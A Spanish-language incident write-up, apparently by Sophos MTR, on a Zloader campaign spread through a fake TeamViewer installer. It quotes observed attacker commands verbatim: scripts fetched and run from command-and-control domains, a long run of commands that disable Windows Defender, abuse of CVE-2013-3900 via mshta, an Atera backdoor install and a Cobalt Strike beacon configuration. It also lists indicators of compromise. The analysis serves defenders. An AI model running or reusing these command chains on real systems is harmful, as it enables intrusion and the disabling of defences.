Zloader es un troyano bancario con vínculos históricos con el malware Zeus. Recientemente, las filiales de ransomware Egregor y Ryuk utilizaron Zloader como punto de entrada inicial. Zloader presentaba capacidades de acceso remoto VNC y se ofreció en el foro de ciberdelincuencia de habla rusa exploit[.]in.
Zloader infecta a los usuarios aprovechando publicidad web maliciosa para redirigir a los usuarios a descargas de archivos MSI maliciosos. Durante el año pasado, los archivos MSI de Zloader se disfrazaron como instaladores para aplicaciones de trabajo remoto como Zoom, TeamViewer y Discord.
Sophos Managed Threat Response Team detectó y respondió recientemente a una campaña de Zloader que entregó CobaltStrike e instaló Atera Agent para acceso remoto permanente. MTR observó que Zloader aprovechaba una vulnerabilidad conocida en Windows que permitía agregar contenido de script malicioso a archivos firmados digitalmente proporcionados por Microsoft, CVE-2013-3900. En el último mes, otras dos organizaciones han compartido investigaciones relacionadas con esta campaña. Checkpoint publicó por primera vez detalles sobre cómo Zloader abusa de CVE-2013-3900. Poco después, Walmart GlobalTech detalló la investigación sobre esta campaña de ataque, incluidos sus hallazgos de que “las infecciones se encuentran principalmente en los EEUU y Europa”. Dadas las observaciones únicas de Sophos con respecto al acceso inicial y la baliza CobaltStrike desplegada, queríamos publicar nuestra correspondiente investigación.
Cronología de eventos
19:29
El viernes 10 de diciembre, un usuario de una empresa automotriz estadounidense intentó instalar una herramienta de acceso remoto en su ordenador mediante la búsqueda en Google de “descarga de TeamViewer”. Desafortunadamente, este usuario hizo clic accidentalmente en un anuncio malicioso, descargó y luego ejecutó un paquete de instalación malicioso llamado TeamViewer.msi.
La descarga maliciosa se realizó utilizando el dominio teamviewer-u[.]com. Este dominio de comando y control compartía la misma dirección IP de alojamiento que el dominio zoomvideoconference[.]com de Zloader en el momento de nuestro análisis.
19:30
Cuando se ejecutó el TeamViewer.msi descargado, escribió en el disco un ejecutable malicioso llamado internal.exe. El ejecutable malicioso se lanzó en paralelo a la aplicación legítima de TeamViewer:
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe "C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\TeamViewer_Service.exe
internal.exe lanzó un script de instalación que descargó y ejecutó malware adicional desde un servidor de comando y control de Zloader, clouds222[.]com.
cmd.exe /C C:/Users/User/AppData/Roaming/internal/launch.bat powershell Invoke-WebRequest https[://]clouds222[.]com/t1m/index/processingSetRequestBat2/?servername=msi -OutFile flash.bat C:\Windows\System32\cmd.exe" /c C:\Users\User\AppData\Roaming\internal\flash.bat
El script descargado flash.bat ejecutó un script VBS diseñado para eludir el control de la aplicación del usuario y elevar los privilegios del atacante.
"C:\WINDOWS\system32\cacls.exe" "C:\WINDOWS\system32\config\system" "C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\getadmin.vbs"
19:31
Luego, flash.bat se ejecutó por segunda vez, pero esta vez se aprovechó para descargar cargas útiles y herramientas adicionales de clouds222[.]com.
powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat3/?servername=msi -OutFile appContast.dll powershell Invoke-WebRequest https[:]//clouds222[.]com/t1m/index/processingSetRequestBat4/?servername=msi -OutFile flashupdate.ps1 PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'" ping 127.0.0.1 -n 3 cmd /c del "C:\Users\User\AppData\Roaming\internal\flash.bat" PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& './flashupdate.ps1'"
Aproximadamente dos minutos después de la ejecución inicial del malware MSI, se ejecutó el archivo descargado flashupdate.ps1. Este script contenía funcionalidad para instalar GnuPg y descifrar las cargas útiles.
"C:\WINDOWS\System32\Wbem\WMIC.exe" computersystem get domain "C:\WINDOWS\system32\ARP.EXE" -a "C:\Users\User\AppData\Roaming\gpg4win-2.2.5.exe" /S "C:\WINDOWS\system32\cmd.exe /c ""C:\Users\User\AppData\Roaming\ais.bat""
El script de PowerShell flashupdate.ps1 ejecutó otro script posterior a la explotación ais.bat. Este script por lotes aprovechó commandaadmin[.]com para descargar una copia renombrada de la herramienta NSudo, un programa del que los ciberdelincuentes usan habitualmente para ejecutar procesos con privilegios elevados (TrustedInstaller). El script usó reg.exe para alterar varias claves de registro para evadir la detección, como la supresión de notificaciones para Windows Defender. Bcdedit.exe se usa para deshabilitar la reparación de inicio de Windows antes de deshabilitar Windows Defender a través de ‘sc config’. Se sospecha que ais.bat se deriva de un script de código abierto llamado “Defeat-Defender” que afirma “desmantelar la protección completa de Windows Defender” en función de las similitudes en los comandos observados.
powershell Invoke-WebRequest https[:]//commandaadmin[.]com/adminpriv.exe -OutFile adminpriv.exe adminpriv -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d "1" /f adminpriv -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f powershell.exe -command "Add-MpPreference -ExclusionExtension ".bat"" adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No adminpriv -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures adminpriv -U:T sc config WinDefend start= disabled powershell Invoke-WebRequest https[:]//commandaadmin[.]com/auto.bat -OutFile auto.bat
Las cargas descargadas appContast.dll y apiicontrast.dl aprovechan una vulnerabilidad conocida en Windows, CVE-2013-3900. Esto permitió a Zloader agregar contenido de script malicioso a un archivo firmado digitalmente por Microsoft. El contenido del script adjunto se ejecuta utilizando el binario de Windows mshta.exe.
cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\appContast.dll cmd /c C:\Windows\System32\mshta.exe C:\Users\User\AppData\Roaming\apiicontrast.dll
Se observaron comandos de evasión de defensa adicionales cuando se ejecutó appContrast.dll. Se aprovechó PowerShell para manipular los módulos de Windows Defender:
Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming' Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming*' Add-MpPreference -ExclusionPath 'C:\Users\User\AppData\Roaming\*' Add-MpPreference -ExclusionPath 'C:\Users\User\*' Add-MpPreference -ExclusionPath 'C:\Users\User' Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\*' Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\' Set-MpPreference -MAPSReporting 0 Add-MpPreference -ExclusionProcess 'regsvr32' Add-MpPreference -ExclusionProcess 'powershell.exe' Add-MpPreference -ExclusionExtension '.exe' Add-MpPreference -ExclusionProcess 'regsvr32*' Add-MpPreference -ExclusionProcess '.dll' Add-MpPreference -ExclusionProcess '*.dll' Set-MpPreference -PUAProtection disable Set-MpPreference -EnableControlledFolderAccess Disabled Set-MpPreference -DisableRealtimeMonitoring $true Set-MpPreference -DisableBehaviorMonitoring $true Set-MpPreference -DisableIOAVProtection $true Set-MpPreference -DisablePrivacyMode $true Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true Set-MpPreference -DisableArchiveScanning $true Set-MpPreference -DisableIntrusionPreventionSystem $true Set-MpPreference -DisableScriptScanning $true Set-MpPreference -SubmitSamplesConsent 2 Add-MpPreference -ExclusionProcess '*.exe' Add-MpPreference -ExclusionProcess 'explorer.exe' Add-MpPreference -ExclusionProcess '.exe' Set-MpPreference -HighThreatDefaultAction 6 -Force Set-MpPreference -ModerateThreatDefaultAction 6 Set-MpPreference -LowThreatDefaultAction 6 Set-MpPreference -SevereThreatDefaultAction 6 Set-MpPreference -ScanScheduleDay 8 Add-MpPreference -ExclusionProcess 'msiexec.exe' Add-MpPreference -ExclusionProcess 'rundll32.exe' Add-MpPreference -ExclusionProcess 'rundll32*'
Cuando apiicontrast.dll se ejecuta con MSHTA, se inicia un script de suspensión de VBS antes del descifrado y la ejecución de una carga útil de Cobalt Strike, zoom.dll. El usuario de Twitter @nao_sec observó por primera vez que esta contraseña de descifrado de GPG estaba asociada a Zloader el 28 de noviembre.
"C:\WINDOWS\System32\WScript.exe" "C:\Users\User\AppData\Local\Temp\WScriptSleeper.vbs" 45000 "C:\Windows\System32\cmd.exe" /c PowerShell -NoProfile -ExecutionPolicy Bypass -command Import-Module GnuPg; Remove-Encryption -FolderPath C:\Users\User\AppData\Roaming -Password 'bibigroup' "C:\Windows\System32\cmd.exe" /c rundll32.exe zoom2.dll DllRegisterServer "C:\Windows\System32\cmd.exe" /c zoom1.msi "C:\Windows\System32\cmd.exe" /c regsvr32 zoom.dll
Al mismo tiempo, msiexec instaló una puerta trasera de acceso remoto a través de AteraAgent. Los afiliados de ransomware vinculados al ransomware Conti emplean con frecuencia AteraAgent y otras herramientas de acceso remoto.
"C:\Program Files (x86)\TeamViewer Germany GmbH\TeamViewer\internal.exe" "C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="milliesoho@yahoo.com" /CompanyId="1" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId="" NET STOP AteraAgent taskkill /f /im AteraAgent.exe "C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /u "C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="" /CompanyId="" /IntegratorLoginUI="" /CompanyIdUI=""
La carga útil Zoom.dll de Cobalt Strike descifrada intenta comunicarse con el servidor C2 sdilok[.]com/jquery-3[.]3[.]1[.]min[.]js usando la configuración BEACON que mostramos a continuación.
{ "BeaconType": [ "HTTP" ], "Port": 80, "SleepTime": 5000, "MaxGetSize": 1403644, "Jitter": 10, "PublicKey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCEEz909XdV3PkUiLxDGpWVdPD3B4EbAj5EfUWeabGyL6L tDBTgG0rgRmafGGYCCaNU51WT4X9vu0vpXJvm+j0xmQcd3oy3ZmJfZpmNvgjGMYi4O077 fl7Mda1Q+plqpnJ3Oi8Mv5VIccWGfuPbRq8dLT38rkb20IVTCYnrle/AHQIDAQABAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", "PublicKey_MD5": "c60a248cc3e3ad52088035b21bf170a4", "C2Server": "sdilok.com,/jquery-3.3.1.min.js", "UserAgent": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko", "HttpPostUri": "/jquery-3.3.2.min.js", "Malleable_C2_Instructions": [ "Remove 1522 bytes from the end", "Remove 84 bytes from the beginning", "Remove 3931 bytes from the beginning", "Base64 URL-safe decode", "XOR mask w/ random key" ], "HttpGet_Metadata": { "ConstHeaders": [ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer: http://code.jquery.com/", "Accept-Encoding: gzip, deflate" ], "ConstParams": [], "Metadata": [ "base64url", "prepend \"__cfduid=\"", "header \"Cookie\"" ], "SessionId": [], "Output": [] }, "HttpPost_Metadata": { "ConstHeaders": [ "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer: http://code.jquery.com/", "Accept-Encoding: gzip, deflate" ], "ConstParams": [], "Metadata": [], "SessionId": [ "mask", "base64url", "parameter \"__cfduid\"" ], "Output": [ "mask", "base64url", "print" ] }, "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "SSH_Banner": "", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\dllhost.exe", "Spawnto_x64": "%windir%\\sysnative\\dllhost.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 0, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 17500, "ProcInject_PrependAppend_x86": [ "kJA=", "Empty" ], "ProcInject_PrependAppend_x64": [ "kJA=", "Empty" ], "ProcInject_Execute": [ "ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread" ], "ProcInject_AllocationMethod": "NtMapViewOfSection", "ProcInject_Stub": "Ms1B7fCBDFtfSY7fRzHMbQ==", "bUsesCookies": "True", "HostHeader": "", "smbFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "tcpFrameHeader": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=", "DNS_strategy": "round-robin", "DNS_strategy_rotate_seconds": -1, "DNS_strategy_fail_x": -1, "DNS_strategy_fail_seconds": -1 }
Respuesta y Reparación
19:34
Sophos EDR/XDR detecta la carga útil de Cobalt Strike en la memoria como “C2_6a T1071.001 mem/cobalt-d” y toma medidas automáticamente para finalizar el proceso malicioso rundll32.exe y limpiar la carga útil de Cobalt Strike del disco.
19:35
El equipo de Respuesta a amenazas gestionadas de Sophos ha creado una investigación para los comandos sospechosos y una detección de Cobalt Strike. Cobalt Strike es un agente de acceso remoto muy utilizado por los adversarios y es un precursor común de la actividad de ransomware.
19:37
Un analista de Sophos MTR comenzó a responder al caso solo seis minutos después de la ejecución inicial del malware. El equipo de MTR aisló el host afectado para evitar más conectividad de red mientras respondía. Durante la investigación, el equipo de MTR colaboró estrechamente con SophosLabs para tomar las medidas necesarias de inmediato para ayudar a proteger a los clientes de Sophos en general. MTR deshabilitó la puerta trasera de Atera y colaboró con el cliente afectado para limitar con éxito el impacto a un dispositivo de estación de trabajo.
Indicadores de compromiso
Indicador | Tipo |
teamviewer-u[.]com | Comando y control |
zoomvideoconference[.]com | Comando y control |
https[:]//sdilok[.]com/jquery-3.3.1.min.js | Comando y control: Cobalt Strike |
https[:]//clouds222[.]com | Comando y control |
https[:]//commandaadmin[.]com | Comando y control |
a187d9c0b4bdb4d0b5c1d2bdbcb65090dcee5d8c | Archivo – ‘TeamViewer.msi’ |
3eda16e4d60e1a79ad97fc1d195ccbe5d97e699f | Archivo – ‘auto.bat’ |
f4879eb2c159c4e73139d1ac5d5c8862af8f1719 | Archivo – ‘internal.exe |
3a80a49efaac5d839400e4fb8f803243fb39a513 | Archivo – ‘adminpriv.exe’ |
5c59ef0d8c0919082128e98a757d844c0ace54e3 | Archivo – ‘ais.bat’ |
23136ecb2edb263db390b6b9fcf9000ff23441a9 | Archivo – ‘appContast.dll’ |
5912bfbd07dec5dd7798e7cb413299c788a8fd9e | Archivo – ‘flashupdate.ps1’ |
5ec4ba41b2066654d8e0dfd0aea770197ad2f21c | Archivo – ‘zoom1.msi.gpg’ |
b350b770b8b79ffb16574d59e4ca4fafacca19cd | Archivo – ‘zoom1.msi’ |
41a47cc8807121cac19597bc0455084e714604bc | Archivo – ‘zoom2.dll.gpg’ |
2c15d43aab71465c9308e0cc306339925d47dea3 | Archivo – ‘zoom2.dll’ |
Mapeo MITRE ATT&CK
Táctica MITRE | Técnica MITRE |
Acceso inicial | T1189 – Compromiso de paso |
Ejecución | T1059 – Intérprete de comandos y secuencias de comandos T1204 – Ejecución del usuario |
Persistencia | T1543 – Crear o modificar el proceso del sistema |
Escalada de privilegios | T1055 – Inyección de proceso T1548 – Mecanismo de Control de Elevación de Abuso |
Evasión de defensa | T1218 – Ejecución de proxy binario firmadoT1562 – Deterioro de las defensas T1036 – Enmascaramiento T1140 – Desofuscar/ Decodificar archivos o información |
Comando & Control | T1219 – Software de acceso remoto T1071 – Protocolo de capa de aplicación: Protocolos web |
Descubrimiento | T1482 – Descubrimiento de confianza de dominio |
Exfiltración | T1041 – Exfiltración sobre el canal C&C |
Escrito e investigado por Colin Cowie con el apoyo de Stan Andic y el equipo MTR de Sophos.